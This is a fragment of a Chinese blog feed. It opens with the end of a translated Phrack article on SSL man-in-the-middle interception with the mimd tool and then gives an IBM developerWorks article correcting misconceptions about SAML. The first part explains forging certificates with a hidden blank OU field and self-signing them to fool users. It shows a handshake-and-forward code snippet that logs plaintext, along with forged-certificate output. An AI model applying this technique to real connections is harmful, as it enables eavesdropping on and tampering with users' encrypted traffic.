<BR><BR>在证书发行者的OU域(OrganizationalUnit，原来为空)我们填上一个空格，这个空格不会在SSL客户程序的窗口中显示出来，但是可以把伪造的新证书和来自公共CA的证书区别开。当这个伪造的证书到达SSL客户程序之后，客户程序就会提示用户是否接收这个证书，用户看来这个证书来自一个已知的可信任的CA(实际上，OU域多了一个空格:P，但是用户看不出来)，而对于SSL客户程序来说，它知道这个证书不是来自用户看到的CA(差一个空格呢:P)，因此找不到这个CA的公钥，只好提示用户，让用户定夺是否接受这个证书。这时，被愚弄的用户一般会接受这个证书。 <BR><BR>现在我们可以修改发行者的subject域(CN...)，把前面的X509证书变成自签发(self-signed)证书。用户无法知道自签发证书是伪造的。 <BR><BR><BR>然后，把被重新装配的证书显示给客户： <BR><BR><BR>// do SSL handshake as fake-server <BR>if (server-&gt;accept() &lt; 0) { <BR>log("Serverside handshake failed. Aborting."); <BR>die(NULL); <BR>} <BR><BR>ssl_forward(client, server); <BR><BR><BR>ssl_forward()函数只是循环调用SSL_read/SSL_write函数，记录传输的明文数据。我们也可以随心所欲地修改传递的数据。 <BR><BR>下面在mimd激活之后(没有使用-I选项)，我们使用cf取回来自https服务器的X509证书： <BR><BR><BR>stealth@lydia:sslmim&gt; ./cf segfault.net 443|openssl x509 -text <BR>Certificate: <BR>Data: <BR>Version: 3 (0x2) <BR>Serial Number: 1 (0x1) <BR>Signature Algorithm: md5WithRSAEncryption <BR>Issuer: C=US, C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net, OU= /Email=crew@segfault.net <BR>Validity <BR>Not Before: Mar 20 13:42:12 2001 GMT <BR>Not After : Mar 20 13:42:12 2002 GMT <BR>Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR>Subject Public Key Info: <BR>Public Key Algorithm: rsaEncryption <BR>RSA Public Key: (1024 bit) <BR>Modulus (1024 bit): <BR>00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3: <BR>e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51: <BR>94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa: <BR>0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b: <BR>b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21: <BR>94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55: <BR>ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4: <BR>b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36: <BR>ca:c2:07:9d:ba:32:ff:d6:e7 <BR>Exponent: 65537 (0x10001) <BR>X509v3 extensions: <BR>X509v3 Subject Key Identifier: <BR>4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD <BR>X509v3 Authority Key Identifier: <BR>keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD <BR>DirName:/C=US <BR>serial:00 <BR><BR>X509v3 Basic Constraints: <BR>CA:TRUE <BR>Signature Algorithm: md5WithRSAEncryption <BR>b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0: <BR>ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de: <BR>86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de: <BR>d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28: <BR>8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa: <BR>f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91: <BR>e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a: <BR>eb:f2 <BR><BR><BR>比较激活mimd前后两个证书，你可以发现两个证书的公钥是不同的，后面这个证书的公钥实际是mimd自己的公钥。C域包含US和EU，这些信息会在Netscape浏览器中显示，和原来的证书没有什么不同。注意到这个证书的OU域了吗？原来的证书并没有这个域，而新的证书中这个域的是一个空格。新证书的发行者信息是来自原来的数字证书。这个证书不再是由某个公开CA签发的，变成了一个自签发(self-signed)的证书。 <BR><BR>下面我们使用-I选项重新启动mimd，这次我们使用被截获证书的Subject来填充伪造证书的Issuer，使伪造证书变成自签发证书。 <BR><BR><BR>stealth@lydia:sslmim&gt; ./cf segfault.net 443|openssl x509 -text <BR>Certificate: <BR>Data: <BR>Version: 3 (0x2) <BR>Serial Number: 1 (0x1) <BR>Signature Algorithm: md5WithRSAEncryption <BR>Issuer: C=US, C=EU, ST=segfault, L=segfault, <BR>O=www.segfault.net, OU= , CN=www.segfault.net/Email=crew@segfault.net <BR>Validity <BR>Not Before: Mar 20 13:42:12 2001 GMT <BR>Not After : Mar 20 13:42:12 2002 GMT <BR>Subject: C=US, C=EU, ST=segfault, L=segfault, O=www.segfault.net, <BR>CN=www.segfault.net/Email=crew@segfault.net <BR>Subject Public Key Info: <BR>Public Key Algorithm: rsaEncryption <BR>RSA Public Key: (1024 bit) <BR>Modulus (1024 bit): <BR>00:d4:4f:57:29:2c:a0:5d:2d:af:ea:09:d6:75:a3: <BR>e5:b6:db:41:d7:7f:b7:da:52:af:d1:a7:b8:bb:51: <BR>94:75:8d:d4:c4:88:3f:bf:94:b1:a9:9a:f8:55:aa: <BR>0d:11:d6:8f:8c:8b:5b:b5:db:03:18:7e:7a:d7:3b: <BR>b0:24:a9:d6:ba:9a:a7:bb:9b:ba:78:50:65:4b:21: <BR>94:6f:83:d4:de:16:e4:8b:03:f2:97:f0:0b:9b:55: <BR>ed:aa:d2:c3:ee:66:55:10:ba:59:4d:f0:9d:4e:d4: <BR>b5:52:ff:8c:d9:75:c2:ae:49:be:63:57:b9:48:36: <BR>ca:c2:07:9d:ba:32:ff:d6:e7 <BR>Exponent: 65537 (0x10001) <BR>X509v3 extensions: <BR>X509v3 Subject Key Identifier: <BR>4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD <BR>X509v3 Authority Key Identifier: <BR>keyid:4A:2C:50:3A:50:4E:96:3D:E6:C7:4E:E8:C2:DF:41:F0:0A:26:F0:DD <BR>DirName:/C=US <BR>serial:00 <BR><BR>X509v3 Basic Constraints: <BR>CA:TRUE <BR>Signature Algorithm: md5WithRSAEncryption <BR>b7:7d:5a:c7:73:19:66:aa:89:25:7c:f6:bc:fd:7d:82:1a:d0: <BR>ac:76:93:72:db:2d:f6:3b:e0:88:5f:1d:6e:7c:25:d7:a2:de: <BR>86:28:38:90:cf:fe:38:a0:1f:67:87:37:8b:2c:f8:65:57:de: <BR>d1:4c:67:55:af:ca:4c:ae:7b:13:f2:6f:b6:64:f6:aa:7f:28: <BR>8b:2f:21:07:8f:6d:7e:0c:3f:17:b1:69:3a:ea:c0:fb:a2:aa: <BR>f9:d6:a6:05:6d:77:e1:e6:f0:12:a3:e6:ca:2a:73:33:f2:91: <BR>e1:72:c8:83:84:48:fa:fe:98:6c:d4:5a:ab:98:b2:2e:3c:8a: <BR>eb:f2 <BR><BR><BR>比较这两个伪造的证书，你会发现后面这个的Issuer中包含CN域，这是为了加强伪造的效果:P。 <BR><BR><BR><BR>结论 <BR><BR><BR>综上所述，使用交互式客户程序在网络上冲浪的用户无法知道遭到了途中人攻击，因为他们无法分辨公司使用未知的CA(company uses unknown CA)的提示信息是真的还是自己遭到了途中人攻击。而且，即使他以前曾经浏览过这个站点并保存了它的数字证书，也仍然可能掉入圈套(还记得OU域的空格吗？:P)。对于一些机警的用户，把伪造的证书变成自签发证书将会打消他们的疑虑。 <BR><BR>本文使用separate-ports的方式断开了SSL连接，但是在一种情况下(upward negotiation)无法使用mimd。SSL使用一个关键词把前面的明文数据流变成SSL数据流传输。这个问题使用MSG_PEEK可能可以解决，他们(作者)正在研究呢:P <BR><BR><BR><BR>参考 <BR><BR><BR>[1] "SSL and TLS" Designing and Building Secure Systems <BR>Eric Rescorla, AW 2001 <BR><BR>A must-read if you want/need to know how SSL works. <BR><BR>[2] "Angewandte Kryptographie" <BR>Bruce Schneier, AW 1996 <BR><BR>THE book for crypto-geeks. I read the german version, <BR>in english its Applied Cryptographie <BR><BR>[2] various openssl c-files and manpages <BR><BR>[3] <A style="COLOR: #003793" href="http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz" target=_blank>http://www.cs.uni-potsdam.de/homepages/students/linuxer/sslmim.tar.gz</A> <BR>A DCA implementation, described in this article; <BR>also contains cf tool. <BR><BR>[4] In case you cannot try mimd on your local box, view <BR>a snapshot from a mim-ed session provided by TESO: <BR><A style="COLOR: #003793" href="http://www.team-teso.net/ssl-security.png" target=_blank>http://www.team-teso.net/ssl-security.png</A> <BR><BR><BR>原文来源：Haaaang on snoopy, snoopy hang on. (SSL for fun and profit) phrack Volume 0x0b, Issue 0x39 <BR><img src ="http://www.blogjava.net/kapok/aggbug/14377.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-09-29 09:40 <a href="http://www.blogjava.net/kapok/archive/2005/09/29/14377.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>了解安全性断言标记语言</title><link>http://www.blogjava.net/kapok/archive/2005/09/29/14372.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Thu, 29 Sep 2005 01:20:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/09/29/14372.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/14372.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/09/29/14372.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/14372.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/14372.html</trackback:ping><description><![CDATA[<SPAN class=atitle2>了解安全性断言标记语言</SPAN><BR>
<TABLE cellSpacing=0 cellPadding=0 border=0>
<TBODY>
<TR vAlign=top align=left>
<TD>
<P>级别: 中级</P></TD></TR></TBODY></TABLE>
<P><A href="http://www-128.ibm.com/developerworks/cn/xml/x-samlmyth/">http://www-128.ibm.com/developerworks/cn/xml/x-samlmyth/</A><BR><A href="http://www-128.ibm.com/developerworks/cn/xml/x-samlmyth/#author1"><NAME><BR>Frank Cohen</NAME></A><BR>创始人, PushToTest<BR>2003 年 10 月 </P>
<BLOCKQUOTE>2003 年初，OASIS 小组批准了安全性断言标记语言（Security Assertion Markup Language，SAML）规范。由于来自 25 家公司的 55 名专家参与了该规范的制定，因此人们会认为 SAML 能做任何事情，并且能被很好地理解。但事实并非如此，软件开发社区存在着很多对 SAML 的误解。在本文中，Frank Cohen 详细说明并澄清了有关 SAML 的很多不实说法和误解。</BLOCKQUOTE>
<P>作为一个新生事物，新的安全性断言标记语言（SAML）规范正在被人们拿来与现有的单点登录技术、认证服务和目录服务进行比较。SAML 是第一个可能成为多个认证协议的规范以利用 Web 基础结构（在这种 Web 基础结构中，XML 数据在 TCP/IP 网络上通过 HTTP 协议传送）。</P>
<P>OASIS 小组开发 SAML 的目的是作为一种基于 XML 的框架，用于交换安全性信息。SAML 与其它安全性方法的最大区别在于它以有关多个主体的断言的形式来表述安全性。其它方法使用中央认证中心来发放证书，这些证书保证了网络中从一点到另一点的安全通信。利用 SAML，网络中的任何点都可以断言它知道用户或数据块的身份。然后由接收应用程序作出决定，如果它信任该断言，则接受该用户或数据块。任何符合 SAML 的软件然后都可以断言对用户或数据的认证。对于即将出现的业务工作流 Web 服务标准（在该标准中，安全的数据需要流经几个系统才能完成对事务的处理）而言，这很重要。</P>
<P>尽管 SAML 刚刚被批准没多久，但是却有许多有关 SAML 的不实说法和误解要澄清。我认为，如果您真正了解了当今的某个新兴标准，那么它肯定已经过时了。</P>
<P>本文讨论了有关 SAML 的一些比较常见的不实说法和误解。</P>
<P><A name=0><SPAN class=atitle2>误解：SAML 是一个完整的身份管理解决方案。</SPAN></A><BR>SAML 作为身份管理解决方案中服务器之间的通信协议发挥了重要作用；但是，SAML 并不是完整的解决方案。在信息系统安全性领域，近来出现的 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">身份管理</B>是一个新术语，它涵盖了下面这些计算领域： </P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI><B>准备（provisioning）</B>— 将新用户添加到企业内部信息系统和外部合作伙伴信息系统的网络操作系统目录和应用程序服务器目录中。 
<LI><B>密码管理</B>— 使用户能够用一组凭证登录到公司的信息系统。此外，使用户能够自己管理其密码、用户帐户数据和特权。 
<LI><B>访问控制</B>— 使系统能够识别用户组的安全性策略。例如，某项安全性策略防止某个人更改他或她的职位，但能将职位更改请求发送给具有相应权限的人。 </LI></UL>
<P>SAML 是两台服务器需要共享认证信息时使用的协议规范。SAML 规范中没有任何内容提供了实际的认证服务，认证服务是由商业目录服务器提供的。</P>
<P><A name=1><SPAN class=atitle2>不实说法：企业之间的 Web 单点登录很好理解并且易于实现。</SPAN></A><BR>SAML 是旨在减少构建和操作信息系统（这些系统在许多服务提供者之间相互操作）所花费成本的众多尝试之一。在当今竞争激烈且迅速发展的环境中，出现了通过浏览器和支持 Web 的应用程序为用户提供互操作性的企业联合。例如，旅游网站允许用户不必进行多次登录即可预订机票和租车。今天，一大群软件开发人员、QA 技术人员和 IT 经理都需要处理复杂的和不可靠的后端系统，这些系统提供了企业之间的联合安全性。</P>
<P>在典型的支持 Web 的基础结构中，运行业界领先的企业系统的软件需要处理权限服务器之间的浏览器重定向、服务器域之间的 HTTP post 命令、公钥基础结构（public key infrastructure，PKI）加密和数字证书，以及声明任何给定用户或组的信任级别的相互同意（mutually agreed-upon）机制。SAML 向软件开发人员展示了如何表示用户、标识所需传送的数据，并且定义了发送和接收权限数据的过程。</P>
<P><A name=2><SPAN class=atitle2>不实说法：SAML 是一个复杂的设计。</SPAN></A><BR>SAML 为那些需要在 Web 基础结构（XML/HTTP/TCP）上设计和构建可伸缩联合系统的系统架构设计师提供了一个蓝图。即使您决定不使用 SAML，但 SAML 规范还是回答了许多设计问题，这些问题是任何系统架构设计师在构建可互操作的且支持 Web 的系统时必须回答的。</P>
<P>作为一个示例，请考虑用来将权限请求编码成 XML 请求的 SAML 断言机制。SAML 定义了六类语句：</P>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">认证（Authentication）：</B>主体已登录。例如，用于认证的 SAML 断言看起来可能象下面这样： </P>
<TABLE cellSpacing=0 cellPadding=5 width="100%" bgColor=#cccccc border=1>
<TBODY>
<TR>
<TD><PRE><CODE>
fcohen@pushtotest.com logged in at 2003-02-06T19:22:09Z
</CODE></PRE></TD></TR></TBODY></TABLE>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">属性（Attribute）：</B>标识主体的特性。例如，fcohen@pushtotest.com 拥有 Admin 角色。 </P>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">权限决定（Authorization decision）：</B>声明允许某个主体对某个资源执行操作。例如，fcohen@pushtotest.com 被授权 <CODE>GET </CODE>http://www.pushtotest.com/ptt/kits/index.html。 </P>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">断言属性（Assertion attribute）：</B>一个可选机制，使行业团体能够定义特定于其行业的属性。 </P>
<P>此外，SAML 定义了由某个断言中的语句共享的断言的属性，包括：</P>
<P><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">版本属性（Version attribute）：</B>标识了断言所遵循的 SAML 规范的主版本和次版本。 </P>
<P>SAML 还定义了可选的 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">条件元素</B>以限制权限请求的有效性。例如，如果 SAML 标记 <CODE>NotBefore</CODE> 或 <CODE>NotOnOrAfter</CODE> 指定的以 UTC 编码的日期，那么它可能是有效的。 </P>
<P>最后，SAML 定义了一个 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">XML 签名（XML Signature）</B>元素以标识认证中心。该元素可以包含一个带有公钥、到期日和使用策略的 X509 证书。XML 签名还包含签名值本身，签名值是由认证中心为元素内容生成的。可以使用 X509 证书中权威机构的公钥信息来验证签名。通常，SAML 的复杂性在于部署基于 SAML 的软件，以及设置公钥基础结构（PKI）环境和数字证书。 </P>
<P><A name=3><SPAN class=atitle2>误解：SAML 为大多数行业预定义了所有属性含义。</SPAN></A><BR>SAML 并未为任何行业定义属性含义。而是定义了一个名称空间机制，行业团体可以使用该名称空间机制来为其特定行业定义属性。例如，在航空行业中，SAML 属性 <CODE>role:mechanic</CODE> 定义了飞机的机械师。系统两端的各方需要分别就 SAML 使用的名称空间达成一致。 </P>
<P>SAML 规范标识自己的名称空间来限定 SAML 属性和元素。例如，名称空间 <CODE>"urn:oasis:names:tc:SAML:1.0:action:ghpp"</CODE> 定义了 SAML 操作中使用的 get/head/put/post http 操作。如果该 SAML 名称空间的格式看起来有点古怪，那么这可能是因为 SAML 名称空间未遵循 SOAP 和 XML-RPC 中的传统 XML 名称空间格式：XML 名称空间是 URI；SAML 使用 URI 的 URN 变体，而其它名称空间则使用 URL 变体。 </P>
<P><A name=4><SPAN class=atitle2>不实说法：SAML 是一个认证权威机构。</SPAN></A><BR>SAML 是一个在服务器之间使用的认证 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">协议</I>。您仍然需要能帮助您实际登录的某些东西。SAML 所能说的只是“您已经登录了（you have logged in）”。例如，当 LDAP 服务器对一个用户进行认证时，认证权威机构是 LDAP 服务器 — 即使 LDAP 服务器可能正在使用 SAML 来传送认证。 </P>
<P>在完整的认证系统中，您仍需要编写策略决策点，以确定用户是否可以访问 Web 页面。此外，您还需要编写策略强制实施点（enforcement point）。这是一个接收权限、检查角色和权限，然后做出断言的 servlet 或应用程序。有几家公司提供了商业策略决策点和策略强制实施点解决方案，这些公司包括 Oblix、Netegrity、IBM 和许多其它公司。</P>
<P><A name=5><SPAN class=atitle2>误解：在认证需要传输大量数据的 Web 环境中，SAML 不能很好地工作。</SPAN></A><BR>当权限请求对于 HTTP 重定向而言太长时，SAML 定义了一种 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">助诊文件（artifact）</B>机制。SAML 助诊文件的长度为 42 字节，它包含一个类型-代码 — 长度为 20 个字节的源标识，以及长度为 20 个字节的随机数，服务器用它来查找断言。源服务临时存储断言。目标站点接收断言，然后从源站点上的助诊文件直接抽出所需的数据。这允许两台不同的安全性服务器使用助诊文件。 </P>
<P><A name=6><SPAN class=atitle2>不实说法：使用重播技术可以轻易地攻破 SAML。</SPAN></A><BR><B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">重播</B>攻击是这样一类攻击：它可以拦截有效的消息，然后再将该消息重播回服务。重播攻击可用于造成数据完整性问题以及拒绝服务攻击。 </P>
<P>SAML 提供了避免重播攻击的保护。SAML 要求在传输断言和消息时使用 SSL 加密，以专门防止断言被拦截。此外，SAML 提供了数字签名机制，该机制使断言具有有效时间范围，以防止断言以后被重播。</P>
<P>最后，助诊文件概要具有其它两个重播对策：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>SAML 源站点只将断言返回给接收助诊文件的请求者。 
<LI>SAML 源站点在第一次使用助诊文件后会擦除其助诊文件到断言的映射，从而使得重播的助诊文件无效。 </LI></UL>
<P><A name=7><SPAN class=atitle2>误解：SAML 定义了发现过程以查找认证权威机构。</SPAN></A><BR>SAML 未定义任何机制来查找接受 SAML 断言的目标站点。</P>
<P>SAML 定义了一种用于认证的 <B xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">推（push）</B>机制：用户登录到源站点，然后该站点向目标站点发送一个断言。该过程需要源站点和目标站点之间进行数字签名。在 Web 环境中，浏览器将表单公布（post）到目标站点，并且在一个隐藏的表单变量中包含一个用 Base64 编码的签名和断言。 </P>
<P>将来的 SAML 规范有可能包含发现机制。</P>
<P><A name=8><SPAN class=atitle2>不实说法：SAML 不能处理匿名或访客（guest）访问。</SPAN></A><BR>SAML 没有用于提供匿名认证的功能。请考虑这样一种方案，其中某个网站允许您使用合作伙伴网站的功能，但是不允许合作伙伴站点知道您是谁。SAML 未提供这样的功能。让 SAML 处理匿名或访客访问是可能的，但是这要求参与的企业就其自己的匿名访问或访客授权访问的约定达成一致。</P>
<P><A name=9><SPAN class=atitle2>不实说法：SAML 要求在客户机端和服务器端都有 SSL 证书。</SPAN></A><BR>SAML 构建在需要公钥基础结构（PKI）的基础之上，以提供数字签名和 SAML 断言的加密。所以，PKI 具有的不便 SAML 全都有。</P>
<P>SAML 是最先需要那种程度的细粒度安全性的协议中的一个；例如，XML 密钥管理规范（XML Key Management Specification，XKMS）提供的安全性将用于认证 SAML 断言。同时，通过要求使用 HTTP Basic 的 HTTP 客户机端认证或 SSL 客户机端证书认证，SAML 为 SAML 助诊文件提供了安全性。然后只将助诊文件发送给期望的请求者，在检索到助诊文件后则删除它。</P>
<P><A name=10><SPAN class=atitle2>误解：SAML 是雾件（vaporware，指已宣布但还未实现）；还没有人要实现它。</SPAN></A><BR>许多商业和开放源码产品中已经提供了 SAML，包括：</P>
<UL xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">
<LI>IBM Tivoli Access Manager 
<LI>Oblix NetPoint 
<LI>SunONE Identity Server 
<LI>Baltimore, SelectAccess 
<LI>Entegrity Solutions AssureAccess 
<LI>Internet2 OpenSAML 
<LI>Netegrity SiteMinder 
<LI>Sigaba Secure Messaging Solutions 
<LI>RSA Security ClearTrust 
<LI>VeriSign Trust Integration Toolkit 
<LI>Entrust GetAccess 7 </LI></UL>
<P><A name=11><SPAN class=atitle2>误解：Microsoft 不支持 SAML。</SPAN></A><BR>目前还不清楚 Microsoft 将如何支持 SAML，但是 Microsoft 和 OASIS 小组正在进行大量工作，以使得 SAML 与 Microsoft 的倡议相协调。Microsoft 的平台和服务（包括 Microsoft .NET Passport）将如何与那些实现 Liberty Alliance 和 OASIS WS-Security 项目协议的服务相互操作，还需拭目以待。例如，与 Passport 的专有系统不同，Liberty Alliance 认证规范使用 SAML 标记来交换认证标记。但是，这两种认证系统在将标记从一个站点传递到下一个站点的方式上有所不同。</P>
<P>Microsoft 已公开承诺使 WS-Security 路线图工作和 SAML 项目合理化。他们似乎更侧重于以 WS-Security 作为更通用的 Web 服务安全性模型，该模型可以使用现有的 IT 投资以及新兴标准（如 SAML 和 XrML）。Microsoft 正在与 OASIS WS-Security 小组通力合作，以使用 SAML 断言作为 WS-Security 凭证。最近，OASIS WS-Security 小组接受了 SAML 的 WS-Security 绑定。</P>
<P>尽管 Microsoft 对 OASIS WS-Security 小组无控制力，但 Chris Kaler 是该工作组的主席之一，同时也是 Microsoft 员工。我认为，如果 Microsoft 对于将 SAML 用于 Passport 和 Liberty Alliance 只想得到形式上的认可，那么 Microsoft 还不如向 ECMA 标准团体提供建议。</P>
<P><A name=12><SPAN class=atitle2>误解：XML 签名中的规范化是不需要的。</SPAN></A><BR>这完全错了。</P>
<P>XML 签名是一种规范，旨在满足将 XML 文档（包括 SAML）与数字签名一起使用的特殊需求。W3C 的 XML 签名工作组正在开发一种 XML 语法，以便于可以对几乎任何内容进行签名 — XML 文档、SOAP 消息头和 XML 元素，并且提供用于创建和验证数字签名的协议和过程。</P>
<P>XML 签名中的规范化是允许在多个服务之间进行认证所必需的。例如，请考虑当您通过浏览器界面从制造商那里购买个人计算机时，服务器端所发生的情形。多个服务处理订单的不同部分：一个服务提供搜索功能以找到您希望订购的产品；下一个是开帐单服务，它获取您的支付信息；最后一个服务获取装运信息。这三个系统使用 SAML 断言共享您的记录。规范化确保了您记录中的字节顺序保持相同，即使三个不同系统正在操作该记录也是如此。如果没有规范化，那么该记录就可能会发生变化并使 XML 签名无效，因为 XML 签名的任务是确保其签名的内容是完好无损的，并且字节顺序是相同的。</P>
<P><A name=13><SPAN class=atitle2>结束语</SPAN></A><BR>由于许多致力于安全性的公司已经提供了上市的产品，因而 SAML 有一个良好的起点。SAML 规范为在一组联合服务中设计支持 Web 的、单点登录的服务提供了良好的框架。SAML 规范工作组的工作还在继续，以使得 SAML 和其它新兴标准（包括 WS-Security）之间的互操作性需求合理化。</P>
<P><I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">作者感谢 Charles Knouse（Oblix 的首席软件工程师）和软件开发论坛（Software Development Forum，www.sdforum.org）的 Web 服务特别兴趣组（Web Services Special Interest Group），感谢他们为研究本文所提供的帮助。</I> </P>
<P><A name=resources><SPAN class=atitle2>参考资料 </SPAN></A>
<UL>
<LI>您可以参阅本文在 developerWorks 全球站点上的 <A href="http://www.ibm.com/developerworks/library/x-samlmyth.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">英文原文</A>. <BR><BR>
<LI>请在 OASIS 联盟站点上阅读 <A href="http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=security" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">SAML 规范</A>。 <BR><BR>
<LI>请查阅 Murdoch Mactaggart 的 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">developerWorks</I>文章 <A href="http://www-128.ibm.com/developerworks/cn/xml/s-xmlsec/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">Enabling XML security</A>，这篇文章非常出色地介绍了 XML 加密和 XML 签名（2001 年 9 月）。 <BR><BR>
<LI>请了解即将出现的 Web 服务安全性协议的工作原理 — 请在 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">developerWorks</I>上阅读 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-sectoken/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">基于 XML 的令牌的 WS-Security 概要文件</A>（2002 年 8 月）。 <BR><BR>
<LI>通过 Jon Udell 有关 SAML 和 PKI 的 <A href="http://www.infoworld.com/article/02/10/15/021017opwebserv_1.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">InfoWorld 文章</A>了解更多背景知识。 <BR><BR>
<LI>请下载 <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">alphaWorks</I>的 <A href="http://www.alphaworks.ibm.com/tech/xmlsecuritysuite" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">XML Security Suite</A>，以获得一个 XML 数字签名的实现。 <BR><BR>
<LI>请回顾由 Frank Cohen 所撰写的 <A href="http://www-128.ibm.com/developerworks/cn/webservices/ws-single/index.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">前一篇文章</A>，以了解先于 Web 服务流行的 XML 单点登录方法（ <I xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">developerWorks</I>，2002 年 1 月）。 <BR><BR>
<LI>在 <A href="http://www-128.ibm.com/developerworks/cn/xml/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/"><I>developerWorks</I>XML 专区 </A>上找到更多 XML 参考资料。 <BR><BR>
<LI>请获取 <A href="http://www-3.ibm.com/software/info1/websphere/index.jsp?tab=landings/studiosplashv5" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">IBM WebSphere Studio</A>，这是一个使 XML 开发自动化的工具，可以使用 Java 语言和其它语言进行开发。它同 <A href="http://www.ibm.com/developerworkshttp://www-3.ibm.com/software/webservers/appserv/&amp;origin=x" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">WebSphere Application Server</A>紧密集成，也可以与其它 J2EE 服务器一起使用。 <BR><BR>
<LI>了解如何成为一名 <A href="http://www-128.ibm.com/developerworks/cn/xml/theme/x-cert.html" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">IBM 认证的 XML 及相关技术的开发人员</A>。 <BR></LI></UL>
<P></P>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
